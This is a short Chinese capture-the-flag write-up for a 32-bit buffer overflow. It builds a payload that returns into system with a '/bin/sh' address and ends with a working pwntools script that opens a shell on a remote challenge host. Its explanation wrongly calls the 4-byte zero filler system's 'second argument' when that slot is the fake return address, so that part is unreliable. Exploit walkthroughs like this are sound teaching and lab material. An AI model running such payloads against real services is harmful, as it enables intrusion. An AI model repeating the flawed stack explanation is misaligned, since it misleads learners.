这里 system 函数的地址：0x80483A0

这里将系统函数与参数分开了，我们需要手动构造，这是ROP？

payload = b'a'*(0x12+4) + p32(system) + p32(0) + p32(bin_sh)
b'a' * (0x12 + 4)：这部分是填充，填充的目的是使得输入的长度超过了原本的缓冲区大小，触发缓冲区溢出。
p32(system)：这部分是 system 函数的地址，在利用缓冲区溢出漏洞时，重要的一步是覆盖返回地址，使得程序返回时跳转到 system 函数。
p32(0)：这部分是 system 函数的第二个参数，在大多数情况下，system 函数的第二个参数应该是一个指向空值的指针，表示没有额外的参数，这里使用了0，表示一个空指针。
p32(bin_sh)：这部分是 /bin/sh 字符串的地址，作为 system 函数的第一个参数，/bin/sh 是一个用于启动 shell 的路径，在利用缓冲区溢出漏洞时，我们可以使用这个参数来告诉 system 函数要执行的命令。

首先在溢出后填入 system 函数的地址，这个地址将覆盖程序返回地址，以便控制程序流程。
此外我们需要考虑函数调用栈的结构：system函数的第一个参数通常是一个指向要执行的命令的字符串，如 /bin/sh，需要将这个字符串的地址作为参数传递给 system 函数，system 函数的第二个参数通常是一个指向空值的指针，表示没有额外的参数。在 payload 中，可以使用任意值，比如 0 ，使用 p32() 函数将地址转换为4字节的字符串，也可以用其他任意 4 字节字符，如 ‘aaaa’，最后再加上 bin/sh 的地址，我们就能够利用缓冲区溢出漏洞成功调用 system(“/bin/sh”)，从而获取到所需的 shell。

/bin/sh 字符串的地址： 0x8048750

from pwn import *
context.log_level = 'debug'
p = remote('10.190.131.17', 28118)
payload = b'a'*(0x12+4) + p32(0x80483A0) + p32(0) + p32(0x8048750)
p.sendline(payload)
p.interactive()